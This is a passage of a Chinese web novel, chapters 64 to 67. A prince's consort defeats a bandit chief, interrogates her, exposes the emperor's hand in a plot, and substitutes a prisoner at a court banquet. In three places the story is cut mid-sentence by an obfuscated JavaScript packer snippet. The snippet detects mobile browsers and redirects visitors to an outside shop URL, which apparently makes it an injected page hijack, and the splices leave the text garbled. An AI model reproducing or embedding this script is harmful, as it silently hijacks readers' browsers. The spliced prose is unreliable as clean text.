沈道溦的语气很是坚决:“都莫要再说了,我意已决。” 林有分闭了嘴巴。 一场王妃和匪首的对决即将开始。 雨不知何时已经小了许多,只余毛毛细雨。 沈道溦和褚梅瑛各站一侧。 前者手执油纸伞,唇角微勾。后者神情挑衅,丝毫不把沈道溦放在眼中。 谢有缘握紧了刀柄。 林有分眉头紧皱。 此时此刻两人心里只有一个念头,看来王妃真的是疯癫入魔了,连兵器都不拿,就一把破油纸伞能有什么用。 他们对视一眼,只要褚梅瑛有动作,他们就会立即出手。 褚梅瑛道:“王妃,你还有什么遗言吗?” 沈道溦道:“这正巧也是我方才想问你的,不过如今我改变主意了。” 褚梅瑛道:“什么?” 沈道溦道:“我要你活着,直到吐出秘密。” 褚梅瑛持刀冲来:“懒得听你再神神叨叨!” 一道寒光闪来,沈道溦手里的伞柄折断,油纸伞飞上了天。少顷,油纸伞徐徐坠地,伞沿浸入泥水。与此同时,褚梅瑛的身体砰地一声重重倒地。溅起来的泥水全都洒在了她惨白的面庞上,瞪圆的瞳孔里盛着满满的震惊。 64. 第 64 章 褚梅瑛再次醒来的时候,已经被绑在刑架上了。她挣扎了几下,阴暗的角落里传来幽幽的一道声响。 “别挣扎了,你挣脱不开的。” 声音似有些熟悉。 褚梅瑛看过去,借助微弱的亮光,她看到了同她一样被绑在刑架上却奄奄一息的邬桥。后者的脸色是那么灰白,泛着一股子死人的气息。若不是看她的眼珠还在转动,褚梅瑛几乎都以为这个人已经死了。 “原来你也被抓了。” 褚梅瑛叹了一口气。 原来自己低估了沈道溦这个看似弱不禁风的女子,原以为她说的什么只要出手自己就会毙命乃是无稽之谈,没成想她居然真的做到了。如此看来她的确是手下留情了,否则自己现在早就身首异处了。 回想起来,先前她的种种行为都是在演戏而已。说什么唐锶谐是个渣男,背信弃义,实则就是想借机拉拢自己,进而将自己身后的凤尾山一锅端了。 哼。 褚梅瑛的眼神不由得冷下来。 牢房内阴暗潮湿,唯有旁边火盆里的木柴烧得霹雳作响,时不时还蹦出一点儿火星子。里面盛着烧红的烙铁,等待着有人拿起然后狠狠烙在别人身上。 褚梅瑛兀自想着,年久失修的木质门吱嘎一声响了起来。一个清丽的影子走了进来,手里那把红色的油纸伞不见了,那袭蓝色衣衫也换成了高贵冷艳的淡紫色。 那个她最讨厌的人最喜欢的一种颜色。 叶袭宸最是喜欢那些明晃晃的颜色,什么红色橙色紫色。本来就是艳丽之色,穿在她身上只会更加醒目。 脑袋上的步摇随着沈道溦走来的动作有规律地晃动着,直到她在褚梅瑛的身旁站定。沈道溦双手环胸,饶有趣味地看着她。 褚梅瑛从鼻孔里发出一声冷哼:“沈道溦,你赢了。现在到这里来是想羞辱我是吗?你们读书人有句话叫士可杀不可辱,你不如直接杀了我得了。” 沈道溦的唇角抿了一下,但却没有说话,只是眼神里的玩味变成了探究。 褚梅瑛被她盯得有些发毛,禁不住吼了出来:“我承认之前是我看不起你,一朵只会依附男人的菟丝花。现在我知道了,你有本事,很有本事行了吧。” 沈道溦的唇角微微上扬,眼睛里的笑意更是遮也遮挡不住。 褚梅瑛转了转眼珠子,莫非这个沈道溦和叶袭宸一样,喜欢别人拍她马屁?她扯了扯唇角,故意道:“沈道溦,我知道你和叶袭宸感情深厚,也知道你对唐锶谐伉俪情深。但是我必须提醒你,就是你的枕边人杀了叶袭宸,你要报仇报不到我身上来。” 沈道溦的视线微微下移。 褚梅瑛以为看到了希望,趁热打铁道:“如果你放了我,并且助我东山再起,我保证会帮你除掉唐锶谐,为叶袭宸报仇雪恨如何?” “我凭什么相信你?”沈道溦抬起头,说了进来后的第一句话。 “凭你是梅三刀还是凭你打着叶袭宸的旗号在江湖上招摇撞骗?” 沈道溦一下子戳穿了仅仅两年凤尾山就如此壮大起来的原因,褚梅瑛抽了抽唇角,刻意回避了从邬桥那边投过来的视线。 她并不知道正是邬桥绘出了凤尾山的地图,才导致如今凤尾山大败,如今正是心虚的时候。 沈道溦看到褚梅瑛这副神情,还有什么不明白的。她双手背在身后,在刑架面前左右徘徊。 “你不是最是讨厌叶袭宸的吗?居然能想到这个法子?”沈道溦侧头看着褚梅瑛,想从她的脸上找出一丝一毫的破绽:“背后指定有高人指点吧。” “什么高人?我听不懂你在说什么。”褚梅瑛刻意装糊涂,不得不说,沈道溦这副洞察人心的样子真的是太讨厌了。 “听不懂?”沈道溦轻轻地笑了起来,“看到邬桥如今的样子了吗?” 褚梅瑛咧开嘴,露出一口森然的白牙:“你当我怕吗?” 沈道溦笑着点了点头:“可以,是个大女子。来人呐!” 唐锶谐和谢有缘以及林有分在外头听墙角,听到沈道溦叫人,唐锶谐给谢有缘使了个眼神。谢有缘立即进去,神情极为恭敬:“王妃有何吩咐?” 笑话! 见识到了沈道溦在后山崖上对付褚梅瑛那一手,谁敢不对其恭恭敬敬。他甚至都没有看到沈道溦出手,那个褚梅瑛就被放倒了。 可怕。 简直是太可怕了。 谢有缘不敢动了。 “大刑伺候。” “是。” 谢有缘拿起刑架上的鞭子,毫不留情地对着褚梅瑛的身上抽去。每一道破空的声音都伴随着褚梅瑛的闷哼声,她攥紧拳头,浑身上下每个部位都在用力。 沈道溦坐在一旁悠闲地喝茶。 谢有缘抽得手都软了,褚梅瑛依旧还有力气放狠话:“……哈哈哈挠痒痒而已……呃……” 沈道溦抢过谢有缘手里的鞭子,把后者推向一边,然后狠狠地往褚梅瑛身上招呼一鞭子。 褚梅瑛被打得脸偏向一边,她回过头来,唇角依旧勾着:“沈道溦,生气只会显示你的无能。” “生气?”沈道溦将鞭子扔在火盆里,“我有生气过吗?我只是为你感到不值而已。” 褚梅瑛扯了扯唇角:“什么意思?” 沈道溦从袖中掏出一方素帕,抬起手仔细地擦着褚梅瑛的脸颊。不得不承认,褚梅瑛其实生得十分耐看,如今血和汗混在一起,看上去有些脏污,实在是浪费了这副相貌。 沈道溦这个意味不明的动作,登时让褚梅瑛睁大了双眼。她不由得呼吸一滞,眼神古怪地看着沈道溦。 其实不仅是褚梅瑛,就连角落里的邬桥以及被推到一旁的谢有缘都不由得吃了一惊。 谢有缘暗自琢磨。 王妃是不是有什么特殊的癖好,先把人往死里虐一顿,然后再关心。 沈道溦细细擦拭着褚梅瑛脸上的血污,直到变得重新白净,才停下手来。拇指和食指捏着她的下巴左右观看了下,然后点了点头:“如此甚好。” “呵。”褚梅瑛终于忍不住笑出声来:“沈道溦,你是不是有什么大病。” 沈道溦抿了下唇角:“梅三刀,当年你是怎么在叶袭宸的枪下脱身的,你我都心知肚明。你又是在何人的指点下重整凤尾山的,你我都心知肚明。奈何你始终都不说出口,某人就有借口继续自欺欺人下去了。” 外头听墙角的唐某人垂了视线。 “什么自欺欺人,我不懂!”褚梅瑛用力吼着,脸部因为剧烈动作而再次渗出血来。 “莫激动,血又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221516|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渗出来了。”沈道溦再次用帕子擦了擦褚梅瑛的脸。 褚梅瑛有些遭不住了,“沈道溦你疯了是不是!你在干什么!你到底在干什么!你杀了我!杀了我!” 分明是沈道溦的举动很是癫狂,可是为什么却是褚梅瑛要疯了。 角落里的邬桥看着眼前的这一切,心里不由得同情起褚梅瑛来。 沈道溦看她的神情不似作假,抿了抿唇角:“看来你也不清楚背后的那个高人是谁,是不是。” 听到这句话,褚梅瑛暴躁的举动像是被戳破的彩球似的,一下子瘪了下来。她避开沈道溦的视线,烦躁地开口:“你莫要瞎猜了。” 沈道溦道:“你怕我觉得你一点儿价值都没有了,所以才故弄玄虚是吗?” 褚梅瑛哼了一声:“是又如何,即便我不知道那人的身份,也总归有些线索。” “线索?”沈道溦笑了:“你所说的线索该不会就是那些往来的书信吧。” 褚梅瑛大惊失色:“你怎么知道的?” 沈道溦稍微抬手,谢有缘就立即奉上了几张字迹潦草的信纸。她随手翻了一翻,在褚梅瑛的面前晃了晃:“这些是在凤尾山的地道里找到的。自以为凤尾山的地道无人能知,殊不知早就有人向我通风报信了。” 褚梅瑛的脸色变了又变,最终恶狠狠地瞪着角落里像是幽灵似的邬桥。 沈道溦道:“我给你一天时间考虑,如果没有什么要补充,你就真的没有价值了。我就只能……” 她调皮地做了一个抹脖子的动作,褚梅瑛脸色难看。沈道溦扬长而去,褚梅瑛心里开始犯嘀咕。 方才还说自己没有价值,要杀了自己,如今却又要给自己机会。沈道溦这一手玩得可真是炉火纯青。 身体上的束缚被解开,褚梅瑛被谢有缘从刑架上放了下来,但依旧带着镣铐。邬桥也被放了下来,同她关在一起。 待几个狱卒离开,牢房内只余褚梅瑛和邬桥时,前者立即狠狠扑上去,掐住了后者的脖子。 “叛徒!” 邬桥被掐得脸红脖子粗,抬脚踹在了褚梅瑛的后脑勺上。褚梅瑛一阵眩晕,邬桥费力推开了她,趴在地上粗粗地喘着气。见褚梅瑛还要冲过来,邬桥立即出声制止了她。 “冷静!梅大当家的!我若是真出卖了你,又怎么会落到这个地步?他们怎么会将我与你关在一起,这不是明摆着要看我和你内讧吗!” 褚梅瑛揪住邬桥的衣领:“那你给我说说,向沈道溦通风报信的到底是谁!” “有没有可能就是你背后的所谓什么高人?” 褚梅瑛愣住了:“你说什么?” 邬桥有理有据:“大当家的你想一想,那个高人要你借助叶袭宸的名号在江湖上招摇撞骗。世人皆知,唐锶谐和叶袭宸最是不对付。这不是明摆着要吸引唐锶谐来对付你吗?” “你休要挑拨离间!”褚梅瑛眯了眯眼睛:“要对付我,他何须助我重整凤尾山?” “有可能他根本不是助你,而只是将你当做棋子而已!如今大势已去,你为他保守秘密,他可不会出手来救你我!” 褚梅瑛陷入了沉默。 邬桥趁热打铁:“梅大当家的,人不为己天诛地灭,如今连保全自己都做不到了,何谈千秋霸业!” 65. 第 65 章 听到牢房内的谈话,林有分小心翼翼地看了唐锶谐一眼。 原来一切都只是他们的臆想,凤尾山上的土匪不是叶袭宸的残部。既然不是叶袭宸了,那就只可能剩下一个人。 王妃说某人自欺欺人,不言而喻,自欺欺人的正是摄政王。 林有分兀自想着,就见沈道溦和谢有缘一前一后走了出来。唐锶谐迎上前去,紧紧地握住了沈道溦的手。 谢有缘和林有分知趣地退下。 唐锶谐神情紧张,将沈道溦的全身上上下下打量了一遍:“你可有受伤?” 沈道溦的唇角噙着笑意:“如今才来问,是不是有些晚了。”她抬头瞧着天色,如今夜色渐渐褪去,东方隐隐吐出鱼肚白。 “这怪得了谁?”唐锶谐居然也开始使起了小性子:“抓到梅三刀后你就马不停蹄地回了帝京,只给我传了个信儿。我才将士兵们带回城,便马不停蹄地来看你。” 沈道溦勾唇:“是是是,都是我的不是,让你担心了。” “可不是。”唐锶谐微微抬高了下巴,但随即皱了皱眉,又问道:“何必如此着急?为何不等我汇合?” “你太过张扬,树大招风,和你一同回城,恐怕还不到牢房,梅三刀就在半路上被人截杀了。”沈道溦道:“倘若只有我自己,他们也只会认为我是出去巡游玩乐回来了而已。” 唐锶谐道:“怕是经此一役后,日后你再出行,不会有人再这么认为了。”他深深地看了沈道溦一眼,意味深长道:“我方才听谢有缘和林有分说,是你亲手击败了梅三刀。” “不错。”沈道溦没有丝毫否认,爽快地承认了:“我以针刺之法让其失去意识,看似毫无声息已经死了,实际上仍有一线生机。” “我从来不知道你还会这个。”唐锶谐微微叹息一声:“看来我对你的了解的确还太少了。” 沈道溦道:“我身体孱弱,手无缚鸡之力,平时练的拳脚也只能强身健体而已。总不能时时刻刻要旁人保护,总得有些杀手锏。” 唐锶谐会心一笑:“道溦,经此一役,我对你刮目相看。你的头脑和身手以及远见的卓识,都很难不叫人钦佩。” “是吗?”沈道溦微微一笑:“当初沈星月习武时,你可不是这么说的。” 提及沈星月,唐锶谐不可避免地想到了叶袭宸,顿时冷了脸色:“她如何能与你相提并论?” 沈道溦轻笑出声,也不再说什么,只是越过唐锶谐往前走去。 唐锶谐一把握住沈道溦的手,将其扯了回来。他双手扶住她的肩膀,低着头,半晌后才抬起来,眼眶有些红:“道溦,你一定要这么败坏我的兴致吗?” “我只是好奇而已。”沈道溦道:“我以为你不喜女子习武,方才坦白之前我还有些担心来着,如今顾虑解除了,我就不免觉得疑惑。” 唐锶谐捏紧了沈道溦的肩膀,意有所指道:“有人习武是为建功立业,有人习武是为强身健体,有人习武却是为欺凌弱小。” “弱小?谁是弱小?”沈道溦眯了眯眼睛:“是说当今皇上吗?他皇权在手,谈何弱小?” 唐锶谐抿紧了唇角,不发一言。 沈道溦拉起他的手,执拗地往前走。唐锶谐亦步亦趋地跟着,没有任何反抗。 深夜时分,牢房内。 睡在稻草垛上的褚梅蓦然睁开双眼,她推了推仍旧睡着的邬桥,发现后者没有醒转的迹象后没有立即着急逃跑,而是冷声道:“别装了,你的演技真的很烂。” 邬桥揉了揉眼睛:“我只是太累了而已。”她打了个哈欠:“你是想逃跑吗?劝你还是省省吧,我们现在已经到了朝阳县尉的地牢内,由唐锶谐的人严加看管,恐怕不等逃出去我们就死翘翘了。” “坐以待毙?”褚梅瑛道:“这可不像是你的风格。你可是惯偷,开锁是家常便饭,进过多少次监考都能逃走,我不相信你开不了这里的锁。” “我那是有高人相助。”邬桥伸了个懒腰:“否则你以为我为什么敢和官府作对。” “谁?”褚梅瑛的眼神变得极其锐利。 “你都不告诉我,我为什么要告诉你。”邬桥侧身在稻草剁上躺下,重新闭上眼睛:“你如果想跑就跑吧,我会给你收尸的。” 褚梅瑛躺在邬桥对面,拿了个根稻草开始戳邬桥的鼻尖。邬桥被戳得打喷嚏,她推了褚梅瑛一把,烦躁道:“你干什么。” 褚梅瑛扔了那根草:“你以为你不告诉我你的高人是谁,我就猜不到吗?是叶袭宸是不是?” “是。”邬桥闭着眼睛,有气无力地。 “你要不要猜猜我背后的高人?” “我才跟了你多久,怎么猜得到。” “沈道溦都能猜到,你为什么猜不到。” 邬桥摆了摆手:“这和沈道溦有什么关系?” 褚梅瑛道:“你们两个不都崇拜叶袭宸吗?” 邬桥思忖片刻,依旧闭着眼睛:“沈道溦那是虚张声势。” 褚梅瑛道:“虚张声势?我看你是嫉妒她冰雪聪明。” “……” 邬桥不想再说话了。 “你难道不想为叶袭宸报仇吗?”褚梅瑛道:“沈道溦现在和唐锶谐是一伙的,只要我们拿住了沈道溦,胁迫唐锶谐还不是易如反掌?” 邬桥睁开眼睛坐起来,“你之前不就是这么干的吗,结果呢?现在我们两个都被抓进了坚牢里。” 褚梅瑛有些恨铁不成钢:“你说这种泄气的话,难道你要坐以待毙吗?” 邬桥道:“你还有什么妙招?” 褚梅瑛道:“我们可以假装顺从,然后伺机而动。” 邬桥转了转眼珠子,遂点了点头:“可以一试。” 一天的时间很快就过去了,沈道溦果真亲自来了牢房。但在她进来之前,早已叫人将褚梅瑛和邬桥重新绑在了刑架上。 褚梅瑛气愤不已,却也无可奈何,只能寄希望于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226656|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的三寸不烂之舌能把褚梅瑛糊弄过去。 沈道溦已经站在了褚梅瑛的面前:“你考虑得如何。” 褚梅瑛歪了一下脑袋:“我可以告诉你我们之间的联络方式,但是你必须放了我。” 沈道溦没有任何犹豫:“可以。” 褚梅瑛咯咯地笑了起来:“王妃不要答应得这么迅速,你家摄政王若是不同意,你当如何?” 沈道溦道:“这是我该操心的问题,而不是你。” 褚梅瑛的唇角轻轻勾着:“王妃,我可都是为了你好。毕竟你与摄政王从前经历的事情我也听过不少,从叶袭宸再到沈星月,哪一次都是你苦苦哀求,而摄政王却爱搭不理。叶袭宸死了,沈星月虽然勉强保住了一条性命,但是却落得武功尽失的下场。整日酗酒消愁,如今虽然在你的刺激下好不容易振作起来,但是想要将武功修炼回来也并非易事。” 褚梅瑛本以为沈道溦会生气地叫她住嘴,没想到她却只是笑着点了点头,“说下去。” 褚梅瑛吞了下口水,顿时觉得沈道溦的神情很是吓人,分明在笑着,眼睛里却透着一股子深入骨髓的冷意。 “王妃,与其受制于人,不如将权力握在自己手中。”褚梅瑛循循善诱道:“只要干掉了唐锶谐,摄政王的位子不就是你的了吗?到时你何须看其他人的脸色,要杀谁便杀谁,要保谁就保谁,岂不是比你现在活得痛快?” 沈道溦轻轻点了下头:“你说得不无道理。” 褚梅瑛心中窃喜,以为自己成功说服她了,没想到沈道溦下面几句话却叫她如坠冰窖。 “可你有没有想过,摄政王死了,兵权首先会回到谁的手中?” 褚梅瑛满不在乎道:“不过一个傀儡皇帝罢了,何须忌惮?” 沈道溦微微一笑:“梅三刀,你事到如今还以为那个小皇帝仅仅只是个傀儡吗?你背后的高人难道没有与其有一丝一毫的联系吗?” “什么?”褚梅瑛大惊失色,“你的意思是都是那个小皇帝助我重整的凤尾山,然后再……”话还没有说完,她随即摇了摇头:“不可能!那个小皇帝窝囊得要命,怎么可能……” “没有什么不可能的事情!”沈道溦陡地打断了褚梅瑛的话:“长公主英明一世,却最终折在他手上,这就是铁证!” “不可能……”褚梅瑛拼命摇着头:“绝对不可能……” 一个在床上那么会舔的人,怎么可能是自己背后的高人!如果他是,当初自己强迫他的时候为什么不亮明身份!反倒要受这份儿侮辱! “不可能……”褚梅瑛拼命说服着自己,“绝对不会是他!”她狠狠地瞪着沈道溦:“你骗我的是不是?!” 沈道溦古怪地看着褚梅瑛,神情出现了些许玩味:“梅大当家的,你的反应似乎有些激烈。” 褚梅瑛意识到自己的失态,忙定了定心神:“失态吗?我哪里失态?我只不过是感到好奇罢了。” “是吗?” 66. 第 66 章 朝阳县廨。 唐锶谐坐在正上方翻看着各类卷宗,汪安节站在旁边侍候着。前者翻看了前些日子县衙捕快倾巢而出的记录,眼眸沉了一沉。他继续往前翻着,声音无波无澜道:“你是如何与王妃商量好的,要在摄政王府逮捕梅三刀?” “下官并未与王妃商议,而是前些日子锦云庄的言娘子来寒舍找娘子叙旧,说了几句王妃的顾虑。我家娘子担心王妃的安危,便要我帮衬一下。” 唐锶谐若有所思:“如此说来,最初你并不知道是凤尾山上的那伙土匪来此捣乱?” 汪安节没有丝毫隐瞒:“起初不知道,后来去拜访了王妃,王妃直截了当地告诉了下官。” “这倒奇怪了。”唐锶谐终于放下了卷宗,声调微微高了几分:“摄政王府的侍卫都是精心挑选的,难道不比你朝阳县廨的捕快身手敏捷吗?” 汪安节思忖片刻:“大抵是王妃有意帮衬下官,想让下官与摄政王认识一二。” 听到汪安节这么说,唐锶谐的视线重新回到卷宗上,语调也回归正常:“自家亲戚,认识一下也是应该的。” 汪安节没有接话。 唐锶谐道:“你在朝阳县尉这个位置上几年了?” 汪安节道:“已有两年了。” 唐锶谐道:“日后帝京的守卫就交给你了,明日起,升任禁军统领。” 汪安节大喜,立即跪地:“下官谢摄政王恩典。” 唐锶谐从座位上走下,将汪安节扶起:“不谢,本王许久不曾见到如你一般说实话的人了。” 汪安节微微一笑:“摄政王明察秋毫,下官不敢隐瞒。” 此言一出,唐锶谐顿时板起了脸:“如此说来,本王若是个昏聩无能的,你便能撒谎了不成?” 汪安节心内一惊,急忙再次跪地:“下官不敢,摄政王明察秋毫,知人善任,下官一时嘴笨,望摄政王恕罪。” 这一次,唐锶谐没有扶他起来,而是绕过他径直离开。许久之后,汪安节才从地上缓缓站起来,脸色惨白,额冒虚汗。他抬起手堪堪用袖子擦了一下,看来沈道溦说的果真没错,这个唐锶谐当真喜怒无常,不喜官场奉承那一套。 起初他还能记着沈道溦的话据实相告,后来听到自己能做禁军统领了便有些忘形,以至于简单拍了几句马屁都会被问责。 唐锶谐离开县廨后正要去地牢,才至门口便见沈道溦从里头出来,眉眼之间带着些许喜悦。方才的不快顿时烟消云散,他迎了上去,然走到半路倏地想起来了什么,眉头紧接着拧成了疙瘩,只是问道:“可有进展?” 沈道溦道:“自然,梅三刀已经答应与其背后的高人联系,诱他出来。” 唐锶谐并没有因此而感到半分喜悦,而是冷冷地开口:“如此说来,这个梅三刀也是个骨头软的,一顿鞭子再加几句好话便能将恩人出卖得干净利落。” 听到此处,沈道溦的脸色也变得有些难看了:“你什么意思?” “这个梅三刀与宋雪砚有何不同,都是吃里扒外的东西。” 沈道溦被气笑了:“如此说来,两年前你的所作所为与今时今日有何不同?两年前你都能一边唾弃着宋雪砚的卖主求荣,一边毫不犹豫地率军进城,今日又如何犹豫不决?” 沈道溦上前一步,直勾勾地看着唐锶谐的眼睛:“莫非?你知道梅三刀背后之人系谁?” 面对沈道溦的逼问,唐锶谐别开视线,唇角翕动:“……你莫要胡思乱想,妄加揣测。” 沈道溦再次被气笑了:“究竟是谁胡思乱想,妄加揣测?背后之人系谁还没有眼见为实地看到,你便自乱了阵脚,难道不是唯恐自己的猜测成真吗?” 唐锶谐能猜到梅三刀背后之人乃是花疏叶一事,是沈道溦原本就该想到的。 他奉命出城剿匪的前一日中了催眠香,浑浑噩噩来到她房中时,她就嗅出了这种香乃是出自北蛮。 沈道溦能嗅得出,是因为前世她作为叶袭宸与北蛮人打仗时有幸见过。既然她能嗅得出,那么与她一起打仗的唐锶谐自然也能。 可他还是中了催眠香,并且是在皇宫内。当时一时失察,不知道花疏叶居然真的会对自己下手也就算了。如果过后还猜不出的话,那就只能说他是眼瞎心盲了。 就如同他现在一般,掩耳盗铃。只要不亲眼看到花疏叶将刀剑指在他脖子上,亲口说出要杀了他的话,他恐怕永远都不会相信当年那个只有四五岁的奶娃娃居然会真的想要他的命! 跟在沈道溦身后本欲出来的谢有缘和林有分听到这里也不敢再往前迈出步子了。他们纷纷对视一眼,都在对方眼中看到了不可置信。 若说前几日他们或许还可能觉得摄政王对王妃太过宠溺,以至于王妃都敢和他针锋相对。而如今他们却觉得摄政王当真是糊涂了,居然能如此自欺欺人,优柔寡断。 有句话说得好,当断不断,必受其害。 王妃与梅三刀的对话他们都听到了,心中也有了自己的判断。不错,若说除掉摄政王,对朝中谁的利益更大,皇上的确是当仁不让。 两年前的确是摄政王为皇上除掉了叶袭宸,助其复位。皇上也将朝中大事一律交给摄政王处理,自己当甩手掌柜。可如今两年过去了,物是人非,当年的君臣之义还能剩下多少。 从街上遇袭再到成亲之日公然拿摄政王取乐,最后到如今这段时间发生的种种,不难推断出让摄政王领两千兵马出城,名义上说是为剿匪,其实则是暗杀。 如若不是王妃计谋过人,她便成了梅三刀威胁摄政王的人质。如若不是王妃说服了邬桥绘制地图,那么凤尾山剿匪之行不会如此顺利。倘若摄政王在城外耽搁太久,皇上就会一点点将权力收回手里,然后转过头来对付摄政王。倘若以摄政王剿匪不力为由派兵增援,那么这些援兵就会与凤尾山上的土匪左右夹击,置摄政王为死地。 到时,不管是王妃还是他们这些护卫,所有与摄政王有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235280|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的都会被绞杀殆尽。思及此处,谢有缘和林有分都不寒而栗。 他们千方百计从田间的土地一步步爬到现在这个位子,可不是为了来不明不白送死的。两人纷纷对视一眼,心中都有了算计。 沈道溦揉了揉太阳穴,心底只觉无奈透顶。 花疏玟当年可是个风华绝代的人物,早年听花疏玉提起的时候,语气里都是满满的羡慕。怎么如今却变得如此不堪大用,难道世俗意义上死过一次的人连性格也会变得如此难以捉摸吗? 她已经无力再与唐锶谐争吵下去,只道:“你打算如何处置梅三刀?” “既然梅三刀与邬桥都已经归顺于你,你自行安排吧。” 沈道溦微微蹙眉:“当真?” 唐锶谐微微颔首:“自然当真。”他的目光看向沈道溦身后佯装不存在的谢有缘和林有分两人,“此后这两人也归你了。” 沈道溦百思不得其解。 这个唐锶谐究竟要做什么。 她之所以要特意告诉唐锶谐一声,就是因为他是摄政王,只要他看清了皇上的真面目,和他斗起来并且略占上风,自己就能浑水摸鱼。可是他现在居然让自己全权处理这件事,完全不插手了,甚至还要把自己贴身的两个护卫借给自己用。 难道是要准备放权吗? 还是说他想借自己的手除掉花疏叶? 沈道溦的眸子不由得沉了沉。 除掉花疏叶之后呢,出卖她然后公布身份自己当皇帝? 不是没有这个可能。 但是依照唐锶谐的性子,感觉又不太可能。出卖她倒是可能,毕竟宋雪砚就是一个例子,但是要他自己当皇帝感觉不太现实。如若这样的话,他没必要这么安排。 毕竟出不出卖自己,自己都是他的王妃。他可以表面上撇得清,但是在那些慧眼如炬的史官面前,绝对逃不过在史书上留下粉墨登场的一笔。 沈道溦转了转眼珠子,一个大胆却又有些匪夷所思的想法浮现脑海。她转身往回走,直到再次站在褚梅瑛面前。 褚梅瑛歪着脑袋:“王妃,摄政王可是答应了?” 她之所以答应沈道溦,就是因为明白了一件事情。比起自己更畏惧发现背后的高人乃是当今皇上,唐锶谐明显要比她更为担忧。 两年了唐锶谐都没有谋反,说他和皇上之间没有一点儿龌龊她打死都不信。倘若猜测成真,那么最痛苦的莫过于沈道溦。 毕竟她可是被蒙蔽了,这件事远比唐锶谐和一个女人不清不楚的要更加难以接受。 沈道溦只说了一句:“计划取消。” 褚梅瑛几乎要以为自己听错了,“什么?” “取消。”沈道溦重复了一遍,随后吩咐谢有缘道:“松绑。” 又对林有分道:“去死牢里找个死囚犯过来。” “你想做什么?”褚梅瑛捏了捏被绑得生疼的手腕子。 沈道溦神秘一笑:“做一个你。” 67. 第 67 章 今日乃是皇上大宴摄政王,为其成功剿灭凤尾山上的匪众庆功之用。金銮殿上站满了朝臣,真乃大衍朝两年之内的奇景。毕竟先前可是从来不上朝的。 酒水已经备好,舞姬们花枝招展地入内。朝臣们纷纷恭维,坐在座位上喝得昏天地暗。花疏叶坐在上首,依旧是一副乐呵呵的模样。脸颊绯红,上头似乎还有几个巴掌印子。但无一人敢问这脸上的伤究竟是从何而来,就连大太监德信也是一脸古怪。 酒喝到兴起的时候,花疏叶叫人将凤尾山的匪首梅三刀押了上来。众朝臣都始料未及,面露错愕。 “早就听闻凤尾山的大当家乃是个国色天香的美人儿,不知道比起今日的舞姬如何?”花疏叶玩世不恭地笑着,摇晃着酒杯,一副下流模样险些要把坐在下面准备看戏的沈道溦看吐了。 许是察觉到她的异样,坐在身侧的唐锶谐不由得偏头看向她,低声问道:“可是身子不适?” 沈道溦换了一副笑容:“并无。” 唐锶谐不疑有他。 应付完唐锶谐,沈道溦接着去打量花疏叶了。几日不见,这个小皇帝的恶心程度是越来越高了。她勉强压下心头的厌恶,只将视线放在跪在金銮殿的梅三刀身上。 依旧是一身染血的白色囚服,眉眼之间却无半分傲气。身子像筛子似的抖个不停,还不等花疏叶问话,裤子已经湿了七八分。 一股子尿骚气在金銮殿上蔓延开来,众朝臣不由得蹙眉。 “大名鼎鼎的凤尾山大当家的就这个德性?” “再厉害也不过就是个女子罢了,见了圣颜自然吓得半死。” 众朝臣你一言我一语,纷纷贬低梅三刀。沈道溦情不自禁地冷笑出声,刹那间全都安静了下来。 突兀。 实在是太突兀了。 仿佛直到此时,朝臣们才注意到在唐锶谐身旁坐着的这个外界传言疯疯癫癫的摄政王妃。早前寒暄时,分明唐锶谐已经说明此行大获全胜乃是自家王妃的功劳,可众人心头全都存了疑惑,全然没把这个王妃放在心上。然而方才那一声冷笑,却着实让人听着胆颤。 有大着胆子的官员问道:“王妃何故发笑?” 沈道溦将桌案上装满了酒的杯子直接了当地扔在梅三刀面前,酒杯滚落,酒水散了一地。 “笑你们连男女都辨不清罢了。” “什么?” 众朝臣纷纷惊呼,不敢置信地重新看着跪着的梅三刀,议论纷纷。 “梅三刀是个男子?” “不曾听说过呀,那梅三刀不是个女子吗?” “不意外,叶贼惯是看不惯比自己强的女子。如若梅三刀落至她手,怎会活命至今?” 众朝臣在一瞬之间纷纷接受了这个事实,又互相交头接耳起来。 “我便说嘛,一个女子而已,怎么会是凤尾山上的大当家?” “就是,女子也就当当压寨夫人罢了,哪儿能出来舞刀弄枪的。” 沈道溦顿时又是嗤笑一声,朝臣们纷纷停了下来,不明所以地看着她。 又有个胆子大的官员问她,“王妃何苦发笑?” 沈道溦这次扔了个空的酒杯,酒杯直在梅三刀面前的大理石地面上打着转儿:“笑你们辨男女当真是辩得分明。” “王妃这是夸奖咱们呐。” 此言一出,安静下来的氛围又热闹了起来,甚至还有人隔空向沈道溦行礼。 “我等谢王妃谬赞!” 